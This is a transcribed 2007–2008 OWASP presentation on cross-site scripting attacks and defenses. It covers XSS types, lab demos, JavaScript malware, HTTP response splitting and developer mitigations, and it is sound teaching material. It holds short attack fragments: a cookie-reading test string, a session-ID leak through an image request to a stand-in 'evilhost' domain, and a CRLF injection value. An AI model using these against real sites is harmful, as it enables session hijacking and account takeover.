Cross Site Scripting (XSS) Exploits & Defenses. OWASP Denver, Colorado USA. The OWASP Foundation. David Campbell Eric Duprey. http://www.owasp.



Similar documents
ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

Cross-Site Scripting

Web-Application Security

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Introduction to Computer Security

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Recommended Practice Case Study: Cross-Site Scripting. February 2007

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

OWASP Top Ten Tools and Tactics

WEB ATTACKS AND COUNTERMEASURES

The Top Web Application Attacks: Are you vulnerable?

WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats

Where every interaction matters.

Web Application Security Considerations

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

Application security testing: Protecting your application and data

Gateway Apps - Security Summary SECURITY SUMMARY

Course Content: Session 1. Ethics & Hacking

Preparing for the Cross Site Request Forgery Defense

HOD of Dept. of CSE & IT. Asst. Prof., Dept. Of CSE AIET, Lko, India. AIET, Lko, India

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

A Tale of the Weaknesses of Current Client-side XSS Filtering

How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering

Cross Site Scripting Prevention

A Tale of the Weaknesses of Current Client-Side XSS Filtering

National Information Security Group The Top Web Application Hack Attacks. Danny Allan Director, Security Research

Web Application Guidelines

State of The Art: Automated Black Box Web Application Vulnerability Testing. Jason Bau, Elie Bursztein, Divij Gupta, John Mitchell

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

(WAPT) Web Application Penetration Testing

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

The Dark Side of Ajax. Jacob West Fortify Software

Analysis of Browser Defenses against XSS Attack Vectors

Document Structure Integrity: A Robust Basis for Cross-Site Scripting Defense

Web Application Penetration Testing

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

What is Web Security? Motivation

Web application security

Intrusion detection for web applications

WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY

Web Application Attacks and Countermeasures: Case Studies from Financial Systems

Bank Hacking Live! Ofer Maor CTO, Hacktics Ltd. ATC-4, 12 Jun 2006, 4:30PM

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Check list for web developers

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

IJMIE Volume 2, Issue 9 ISSN:

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Securing Your Web Application against security vulnerabilities. Ong Khai Wei, IT Specialist, Development Tools (Rational) IBM Software Group

Hack Proof Your Webapps

Adobe Systems Incorporated

Uploaded images filter evasion for carrying out XSS attacks

Hacking Intranet Websites from the Outside

Sitefinity Security and Best Practices

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

The Prevalence of Flash Vulnerabilities on the Web

HTTP Response Splitting

Introduction: 1. Daily 360 Website Scanning for Malware

Chapter 1 Web Application (In)security 1

elearning for Secure Application Development

Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure

Web Application Worms & Browser Insecurity

AMIT KLEIN, FORMER DIRECTOR OF SECURITY AND RESEARCH, SANCTUM

Certified Ethical Hacker (CEH) Ethical Hacking & Counter Measures Course 9962; 5 Days, Instructor-Led

Cross Site Scripting in Joomla Acajoom Component

CS 558 Internet Systems and Technologies

Web Application Exploits

Attacks on Clients: Dynamic Content & XSS

Web Application Security

RIA SECURITY TECHNOLOGY

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Session 30. IT Security: Threats, Vulnerabilities and Countermeasures. Phillip Loranger, DoED CISO Robert Ingwalson, FSA CISO

Web Application Security

FORBIDDEN - Ethical Hacking Workshop Duration

Barracuda Web Application Firewall vs. Intrusion Prevention Systems (IPS) Whitepaper

Web Application Hacking (Penetration Testing) 5-day Hands-On Course

YOUR BROWSER WEARS NO CLOTHES

Agenda. Taxonomy of Botnet Threats. Background. Summary. Background. Taxonomy. Trend Micro Inc. Presented by Tushar Ranka

The Ongoing Malware Threat: How Malware Infects Websites and Harms Businesses and What You Can Do to Stop It

WEB APPLICATION FIREWALLS: DO WE NEED THEM?

Application Security Vulnerabilities, Mitigation, and Consequences

Out of the Fire - Adding Layers of Protection When Deploying Oracle EBS to the Internet

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

HTTPParameter Pollution. ChrysostomosDaniel

Complete Cross-site Scripting Walkthrough

CYBERTRON NETWORK SOLUTIONS

Project 2: Web Security Pitfalls

When a student leaves this intensive 5 day class they will have hands on understanding and experience in Ethical Hacking.

IBM Protocol Analysis Module

Network Security Web Security

Secure Coding. External App Integrations. Tim Bach Product Security Engineer salesforce.com. Astha Singhal Product Security Engineer salesforce.

Loophole+ with Ethical Hacking and Penetration Testing

MANAGED SECURITY TESTING

Rational AppScan & Ounce Products

Transcription:

Cross Site Scripting (XSS) Exploits & Defenses Denver, Colorado USA David Campbell Eric Duprey Copyright 2007 The Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the License. The Foundation http://www.owasp.org

DISCLAIMER The wireless network provided for this interactive talk is potentially hostile Associate and connect at your own risk; we are not liable for any issues Please don t try to make your way out to the Internet through the wireless. It s connected to a Federal Gov t network. If you know what you re doing, please be respectful and refrain from injecting truly malicious code. 2

XSS: Why all the Hype??? XSS is the new buffer overflow. Javascript is the new shellcode. How does it work? Am I vulnerable? 3

The Evolution of XSS Then So what, I can hack myself? Session Stealing Defacements Now Persistent defacements Javascript malware Cross Site Request Forgery (CSRF) Browser based botnets! 4

High Profile XSS April 2008: Obama s site redirected to hillaryclinton.com 5

High Profile XSS Defacements April fools 2007: Tennis star vows to give up tennis to persue CCIE Russian hackers credited with the ruse 6

High Profile XSS May 16 2008: Paypal s EV secure page vulnerable to XSS 7

High Profile XSS May 20 2008: RBS Worldpay site vulnerable to XSS 8

High Profile XSS March 28 2008: Google serves up XSS d URL s to end users searching USAToday.com, ABCNews, Target.com, walmart.com, etc. 9

Web App Architecture Overview Web App architectures are a conglomeration of various technologies Loose coupling gives web apps significant flexibility, however provide ample opportunity for problems HTTP is basically a text protocol Easy to see what s going on (sniffer, MITM proxy) No need to use a browser to speak HTTP 10

Web App Architecture Overview (cont) HTTP is a *stateless* protocol Every request stands alone SessionID tokens tacked on to create illusion of stateful apps 11

Web App Architecture Overview (cont) Client requests a page Backend servers may run server side code, then generate HTML Browsers render HTML 12

Web App Architecture Overview (cont) 13

Introducing Javascript Oldschool web apps were very static Javascript has been around since 1995 Most commonly used just for image rollovers and primitive form input validation 14

Javascript Evolution Now used to make web apps more like thick client apps Javascript can read/write/modify individual elements of a page on the fly! XMLHTTP changed everything 15

Javascript Capabilities & Limitations Javascript can: Dynamically rewrite entire web pages Make limited HTTP requests to arbitrary hosts Javascript cannot: Write to the filesystem Directly violate same origin policy, by retrieving or transmitting information to other hosts However, there are well known techniques to circumvent these restrictions 16

How does XSS happen? Occurs any time Raw data from attacker is sent to an innocent user It doesn t need to be Javascript. Can be HTML, etc. Raw data Stored in database Reflected from web input (form field, hidden field, url) Virtually every web application has this problem Try this in your browser: javascript:alert(document.cookie) 17

What s the potential impact? Allows embedding of malicious code: JavaScript (AJAX!), VBScript, ActiveX, HTML, or Actionscript (Flash) Threats: phishing, session hijacking, changing of user settings, impersonation attacks, execution of code on the client, etc. 18

XSS Types Reflected Link in other website / e-mail / IM link Persistent e.g. bulletin board, forum, product review site DOM-Based 19

Lab: Demonstration (Reflected XSS) Associate to -XSS wireless network Start your browser, go to http://192.168.90.254 Click on the Badstore target app What is a common place to look for reflected XSS in retail type web apps? Need a hint??? 20

Why is this search function vulnerable? Checkout the badstore.cgi source code from the portal page Bobby Jones, summer intern 1996? 21

REAL LIFE Reflected XSS Demonstration Don t try this at home! We know security folks who have been hauled away for less! Yes, this is a live, production site. We have permission from the owners to demonstrate this vulnerability. Don t worry, we re going to patch the vulnerability later in this presentation 22

What s the Impact? (Reflected XSS) Alert windows are fun, but what else can I do? Session stealing? (Demo) To get around same origin policy, I leak SessionID variables using an <IMG SRC=http://www.evilhost.com/ <FIXME> request Once I have the SessionID, impersonating victim is trivial 23

XSS Types Reflected Link in other website / e-mail link Persistent (Stored) e.g. bulletin board, forum DOM-Based 24

Lab: Demonstration (Persistent XSS) Associate to -XSS wireless network if you haven t already Start your browser. If not automatically directed, go to http://192.168.90.254 Click on the Badstore target app What is a common place to look for persistent XSS in retail type web apps? 25

What s the Impact? (Persistent XSS) Same as with reflected, but now every visitor gets exploited, without any overt trickery Examples: Samy worm, Orkut worm, etc. 26

But static images are safe, right? Not if you re running IE Even the latest and greatest version http://192.168.90.254/xss.jpg User must directly load the jpeg, this won t work via <IMG SRC= > tags 27

It gets worse! Alert popups, session stealing and defacements are well understood threats Javascript malware has the potential to do even more damage! 28

Javascript Malware Browser-based botnets / zombies Javascript keyloggers Click fraud, unintentional surfing Phishing bait DNS Rebinding (reverse VPN over HTTP!) 29

NuSkool Zombies Browser Based Botnets BeEF Framework Uses Javascript to setup a persistent control channel to lured browsers Botnet controller has access to your LOCAL network (what firewall?) Exploit vectors are not limited to HTTP/S 30

NuSkool Zombies Browser Based Botnets D E M O 31

Javascript Keyloggers Capture keypresses and transmit to attacker controlled site Use HTTP GET or POST to send data back to attacker Will only capture keystrokes entered into browser windows Much more effective now that everybody uses Gmail, OWA, etc. 32

Click Fraud Google Adwords, Revenue is paid out based on clicks generated Attackers can use zombie browsers to generate loads of false traffic to boost revenue 33

Phishing Bait Javascript code creates effective misdirection apps You are infected with X,Y,Z Click here to scan.. Go to this site to get the antidote (.ru) Demo 34

Phishing Bait Demo 35

DNS Rebinding Attacks Too large a topic for this time slot However, serious implications for security of the web as a whole Normally, scripts running in browser can only communicate with hosts within the same origin domain. With DNS rebinding, attacker convinces browser that target host IP address has changed. Browser continues with connection, as same origin policy is satisfied. 36

Defenses What can I do as an end user to stop this? Disable Javascript (really?) Verify form actions Browser plugins (Noscript) 37

Defenses What can I do as a developer? Two opportunities to stop XSS: Input validation $safequery=preg_replace( /[^a-za-z0-9_]/,, $char ); http://htmlpurifier.org/ AntiSamy (Java now,.net & PHP sometime in 08) Output validation _PHP_AntiXSS_Library_Project htmlentities(), htmlspecialchars() 38

Realtime Reflected XSS Remediation Remember that vulnerable live production site? Time to fix the reflected XSS we found earlier in this discussion We re pressed for time, so we ll fix just the output validation for now DEMO 39

Closing Thoughts Stay tuned for XSS Part two, coming to this chapter later this year We hope that this has been enlightening, and that even the veterans have learned something new XSS is everywhere, but it s easy to fix. Test and Fix!!! Test and Fix!!! 40

Q&A References Cross site scripting, http://www.owasp.org/index.php/cross_site_scripting Testing for XSS, http://www.owasp.org/index.php/testing_for_cross_site_scripting Stinger Project (A Java EE validation filter) http://www.owasp.org/index.php/category:_stinger_project PHP Filter Project - http://www.owasp.org/index.php/_php_filters Encoding Project - http://www.owasp.org/index.php/category:_encoding_project RSnake, XSS Cheat Sheet, http://ha.ckers.org/xss.html Klein, A., DOM Based Cross Site Scripting, http://www.webappsec.org/projects/articles/071105.shtml.net Anti-XSS Library - http://www.microsoft.com/downloads/details.aspx?familyid=efb9c819-53ff-4f82-bfaf-e11625130c25&displaylang=en 41

Additional Info For extended presentation sessions, time permitting 42

1. Cross-Site Scripting (XSS) References Cross site scripting, http://www.owasp.org/index.php/cross_site_scripting Testing for XSS, http://www.owasp.org/index.php/testing_for_cross_site_scripting Stinger Project (A Java EE validation filter) http://www.owasp.org/index.php/category:_stinger_project PHP Filter Project - http://www.owasp.org/index.php/_php_filters Encoding Project - http://www.owasp.org/index.php/category:_encoding_project RSnake, XSS Cheat Sheet, http://ha.ckers.org/xss.html Klein, A., DOM Based Cross Site Scripting, http://www.webappsec.org/projects/articles/071105.shtml.net Anti-XSS Library - http://www.microsoft.com/downloads/details.aspx?familyid=efb9c819-53ff- 4f82-bfaf-e11625130c25&DisplayLang=en 43

XSS Types Reflected Link in other website / e-mail link Persistent (Stored) e.g. bulletin board, forum DOM-Based 44

Lab: Demonstration (DOM based XSS) Associate to -XSS wireless network Start your browser Click on the ichat target app What is a common place to look for DOM based XSS in web apps? 45

What s the Impact? (DOM XSS) Same as with reflected XSS However, Server Side output validation is ineffective Because the request never gets reflected thru the server! 46

CR / LF Injection Allows attacker to use reflected XSS to inject arbitrary content HTTP headers, HTML body, etc. (HTTP Response Splitting) Redirects, fake session variables, lots of possibilities %0d%0a (CR, LF) 47

Lab: Demonstration (Response Splitting) Associate to -XSS wireless network Start your browser Click on the widgets.com target app What is a common place to look for HTTP response splitting vulnerabilities in web apps? 48

What s the Impact? (Response Splitting) Attacker can inject arbitrary HTTP response headers Defacement via <body> content Redirection via <head> content Same as reflected XSS 49

CSRF <FIXME> 50